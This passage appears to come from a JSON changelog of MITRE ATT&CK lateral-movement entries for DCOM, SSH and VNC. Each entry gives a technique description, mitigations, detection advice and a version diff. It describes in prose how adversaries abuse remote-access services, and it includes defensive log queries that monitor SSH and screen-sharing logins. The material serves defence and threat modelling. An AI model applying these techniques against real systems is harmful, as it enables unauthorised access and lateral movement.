[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)\", \"old_value\": \"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\\n\\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\\n\\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\\n\\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.\", \"diff\": \"--- \\n+++ \\n@@ -4,4 +4,4 @@\\n \\n Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\\n \\n-Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.\\n+Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\\n\\nMonitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).\", \"old_value\": \"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\\n\\nMonitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\\n \\n-Monitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.\\n+Monitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][10]\": {\"source_name\": \"MSDN WMI\", \"description\": \"Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.\", \"url\": \"https://msdn.microsoft.com/en-us/library/aa394582.aspx\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may use [Valid Accounts](https://attack.mitre.ort1Adversaries may use [Valid Accounts](https://attack.mitre.or
>g/techniques/T1078) to interact with remote machines by taki>g/techniques/T1078) to interact with remote machines by taki
>ng advantage of Distributed Component Object Model (DCOM). T>ng advantage of Distributed Component Object Model (DCOM). T
>he adversary may then perform actions as the logged-on user.>he adversary may then perform actions as the logged-on user.
>  The Windows Component Object Model (COM) is a component of>  The Windows Component Object Model (COM) is a component of
> the native Windows application programming interface (API) > the native Windows application programming interface (API) 
>that enables interaction between software objects, or execut>that enables interaction between software objects, or execut
>able code that implements one or more interfaces. Through CO>able code that implements one or more interfaces. Through CO
>M, a client object can call methods of server objects, which>M, a client object can call methods of server objects, which
> are typically Dynamic Link Libraries (DLL) or executables (> are typically Dynamic Link Libraries (DLL) or executables (
>EXE). Distributed COM (DCOM) is transparent middleware that >EXE). Distributed COM (DCOM) is transparent middleware that 
>extends the functionality of COM beyond a local computer usi>extends the functionality of COM beyond a local computer usi
>ng remote procedure call (RPC) technology.(Citation: Fireeye>ng remote procedure call (RPC) technology.(Citation: Fireeye
> Hunting COM June 2019)(Citation: Microsoft COM)  Permission> Hunting COM June 2019)(Citation: Microsoft COM)  Permission
>s to interact with local and remote server COM objects are s>s to interact with local and remote server COM objects are s
>pecified by access control lists (ACL) in the Registry.(Cita>pecified by access control lists (ACL) in the Registry.(Cita
>tion: Microsoft Process Wide Com Keys) By default, only Admi>tion: Microsoft Process Wide Com Keys) By default, only Admi
>nistrators may remotely activate and launch COM objects thro>nistrators may remotely activate and launch COM objects thro
>ugh DCOM.(Citation: Microsoft COM ACL)  Through DCOM, advers>ugh DCOM.(Citation: Microsoft COM ACL)  Through DCOM, advers
>aries operating in the context of an appropriately privilege>aries operating in the context of an appropriately privilege
>d user can remotely obtain arbitrary and even direct shellco>d user can remotely obtain arbitrary and even direct shellco
>de execution through Office applications(Citation: Enigma Ou>de execution through Office applications(Citation: Enigma Ou
>tlook DCOM Lateral Movement Nov 2017) as well as other Windo>tlook DCOM Lateral Movement Nov 2017) as well as other Windo
>ws objects that contain insecure methods.(Citation: Enigma M>ws objects that contain insecure methods.(Citation: Enigma M
>MC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Ja>MC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Ja
>n 2017) DCOM can also execute macros in existing documents(C>n 2017) DCOM can also execute macros in existing documents(C
>itation: Enigma Excel DCOM Sept 2017) and may also invoke Dy>itation: Enigma Excel DCOM Sept 2017) and may also invoke [D
>namic Data Exchange (DDE) execution directly through a COM c>ynamic Data Exchange](https://attack.mitre.org/techniques/T1
>reated instance of a Microsoft Office application(Citation: >559/002) (DDE) execution directly through a COM created inst
>Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing t>ance of a Microsoft Office application(Citation: Cyberreason
>he need for a malicious document.> DCOM DDE Lateral Movement Nov 2017), bypassing the need for
 > a malicious document. DCOM can be used as a method of remot
 >ely interacting with [Windows Management Instrumentation](ht
 >tps://attack.mitre.org/techniques/T1047). (Citation: MSDN WM
 >I)
", "changelog_mitigations": { "shared": [ "M1026: Privileged Account Management", "M1030: Network Segmentation", "M1042: Disable or Remove Feature or Program", "M1048: Application Isolation and Sandboxing" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0011: Module (Module Load)", "DS0029: Network Traffic (Network Connection Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-11 18:27:15.774000+00:00", "modified": "2021-10-15 14:15:06.853000+00:00", "name": "SSH", "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "lateral-movement" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1021/004", "external_id": "T1021.004" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/555.html", "external_id": "CAPEC-555" }, { "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing", "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.", "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Creation", "Network Traffic: Network Connection Creation", "Logon Session: Logon Session Creation" ], "x_mitre_detection": "Use of SSH may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nOn macOS systems log show --predicate 'process = \"sshd\"' can be used to review incoming SSH connection attempts for suspicious activity. The command log show --info --predicate 'process = \"ssh\" or eventMessage contains \"ssh\"' can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nOn Linux systems SSH activity can be found in the logs located in /var/log/auth.log or /var/log/secure depending on the distro you are using.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Linux", "macOS" ], "x_mitre_system_requirements": [ "An SSH server is configured and running." ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 14:15:06.853000+00:00\", \"old_value\": \"2020-03-23 23:43:46.977000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\\n\\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.\", \"old_value\": \"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\\n\\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.(Citation: SSH Secure Shell)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\\n \\n-SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.(Citation: SSH Secure Shell)\\n+SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.\"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"Apple Unified Log Analysis Remote Login and Screen Sharing\", \"old_value\": \"SSH Secure Shell\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \\u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.\", \"old_value\": \"SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins\", \"old_value\": \"https://www.ssh.com/ssh\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Use of SSH may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\\n\\nOn macOS systems log show --predicate 'process = \\\"sshd\\\"' can be used to review incoming SSH connection attempts for suspicious activity. The command log show --info --predicate 'process = \\\"ssh\\\" or eventMessage contains \\\"ssh\\\"' can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\\n\\nOn Linux systems SSH activity can be found in the logs located in /var/log/auth.log or /var/log/secure depending on the distro you are using.\", \"old_value\": \"Use of SSH may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,5 @@\\n Use of SSH may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\\n+\\n+On macOS systems log show --predicate 'process = \\\"sshd\\\"' can be used to review incoming SSH connection attempts for suspicious activity. The command log show --info --predicate 'process = \\\"ssh\\\" or eventMessage contains \\\"ssh\\\"' can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\\n+\\n+On Linux systems SSH activity can be found in the logs located in /var/log/auth.log or /var/log/secure depending on the distro you are using.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may use [Valid Accounts](https://attack.mitre.ort1Adversaries may use [Valid Accounts](https://attack.mitre.or
>g/techniques/T1078) to log into remote machines using Secure>g/techniques/T1078) to log into remote machines using Secure
> Shell (SSH). The adversary may then perform actions as the > Shell (SSH). The adversary may then perform actions as the 
>logged-on user.  SSH is a protocol that allows authorized us>logged-on user.  SSH is a protocol that allows authorized us
>ers to open remote shells on other computers. Many Linux and>ers to open remote shells on other computers. Many Linux and
> macOS versions come with SSH installed by default, although> macOS versions come with SSH installed by default, although
> typically disabled until the user enables it. The SSH serve> typically disabled until the user enables it. The SSH serve
>r can be configured to use standard password authentication >r can be configured to use standard password authentication 
>or public-private keypairs in lieu of or in addition to a pa>or public-private keypairs in lieu of or in addition to a pa
>ssword. In this authentication scenario, the user\u2019s public k>ssword. In this authentication scenario, the user\u2019s public k
>ey must be in a special file on the computer running the ser>ey must be in a special file on the computer running the ser
>ver that lists which keypairs are allowed to login as that u>ver that lists which keypairs are allowed to login as that u
>ser.(Citation: SSH Secure Shell)>ser.
", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1032: Multi-factor Authentication", "M1042: Disable or Remove Feature or Program" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0028: Logon Session (Logon Session Creation)", "DS0029: Network Traffic (Network Connection Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-11 18:28:44.950000+00:00", "modified": "2021-10-07 22:14:25.528000+00:00", "name": "VNC", "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (\u201cremote framebuffer\u201d) protocol to enable users to remotely control another computer\u2019s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)\n\nVNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)\n\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "lateral-movement" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1021/005", "external_id": "T1021.005" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/555.html", "external_id": "CAPEC-555" }, { "source_name": "The Remote Framebuffer Protocol", "description": "T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021.", "url": "https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2" }, { "source_name": "MacOS VNC software for Remote Desktop", "description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.", "url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac" }, { "source_name": "VNC Authentication", "description": "Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021.", "url": "https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication" }, { "source_name": "Hijacking VNC", "description": "Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021.", "url": "https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc" }, { "source_name": "macOS root VNC login without authentication", "description": "Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021.", "url": "https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication" }, { "source_name": "VNC Vulnerabilities", "description": "Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021.", "url": "https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/" }, { "source_name": "Offensive Security VNC Authentication Check", "description": "Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021.", "url": "https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/" }, { "source_name": "Attacking VNC Servers PentestLab", "description": "Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021.", "url": "https://pentestlab.blog/2012/10/30/attacking-vnc-servers/" }, { "source_name": "Havana authentication bug", "description": "Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved October 6, 2021.", "url": "http://lists.openstack.org/pipermail/openstack/2013-December/004138.html" }, { "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing", "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.", "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins" }, { "source_name": "Gnome Remote Desktop grd-settings", "description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.", "url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207" }, { "source_name": "Gnome Remote Desktop gschema", "description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.", "url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Creation", "Network Traffic: Network Connection Creation", "Logon Session: Logon Session Creation" ], "x_mitre_detection": "Use of VNC may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.\n\nOn macOS systems log show --predicate 'process = \"screensharingd\" and eventMessage contains \"Authentication:\"' can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMonitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_system_requirements": [ "VNC server installed and listening for connections." ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-07 22:14:25.528000+00:00\", \"old_value\": \"2020-03-23 20:41:21.147000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (\\u201cremote framebuffer\\u201d) protocol to enable users to remotely control another computer\\u2019s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)\\n\\nVNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)\\n\\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)\", \"old_value\": \"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). The adversary may then perform actions as the logged-on user.\\n\\nVNC is a desktop sharing system that allows users to remotely control another computer\\u2019s display by relaying mouse and keyboard inputs over the network. VNC does not necessarily use standard user credentials. Instead, a VNC client and server may be configured with sets of credentials that are used only for VNC connections.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n-Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). The adversary may then perform actions as the logged-on user.\\n+Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (\\u201cremote framebuffer\\u201d) protocol to enable users to remotely control another computer\\u2019s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)\\n \\n-VNC is a desktop sharing system that allows users to remotely control another computer\\u2019s display by relaying mouse and keyboard inputs over the network. VNC does not necessarily use standard user credentials. Instead, a VNC client and server may be configured with sets of credentials that are used only for VNC connections.\\n+VNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)\\n+\\n+Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Use of VNC may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.\\n\\nOn macOS systems log show --predicate 'process = \\\"screensharingd\\\" and eventMessage contains \\\"Authentication:\\\"' can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\\n\\nMonitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)\", \"old_value\": \"Use of VNC may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with VNC.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,5 @@\\n-Use of VNC may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with VNC.\\n+Use of VNC may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.\\n+\\n+On macOS systems log show --predicate 'process = \\\"screensharingd\\\" and eventMessage contains \\\"Authentication:\\\"' can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\\n+\\n+Monitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"The Remote Framebuffer Protocol\", \"description\": \"T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021.\", \"url\": \"https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2\"}, \"root['external_references'][3]\": {\"source_name\": \"MacOS VNC software for Remote Desktop\", \"description\": \"Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.\", \"url\": \"https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac\"}, \"root['external_references'][4]\": {\"source_name\": \"VNC Authentication\", \"description\": \"Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021.\", \"url\": \"https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication\"}, \"root['external_references'][5]\": {\"source_name\": \"Hijacking VNC\", \"description\": \"Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021.\", \"url\": \"https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc\"}, \"root['external_references'][6]\": {\"source_name\": \"macOS root VNC login without authentication\", \"description\": \"Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021.\", \"url\": \"https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication\"}, \"root['external_references'][7]\": {\"source_name\": \"VNC Vulnerabilities\", \"description\": \"Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in 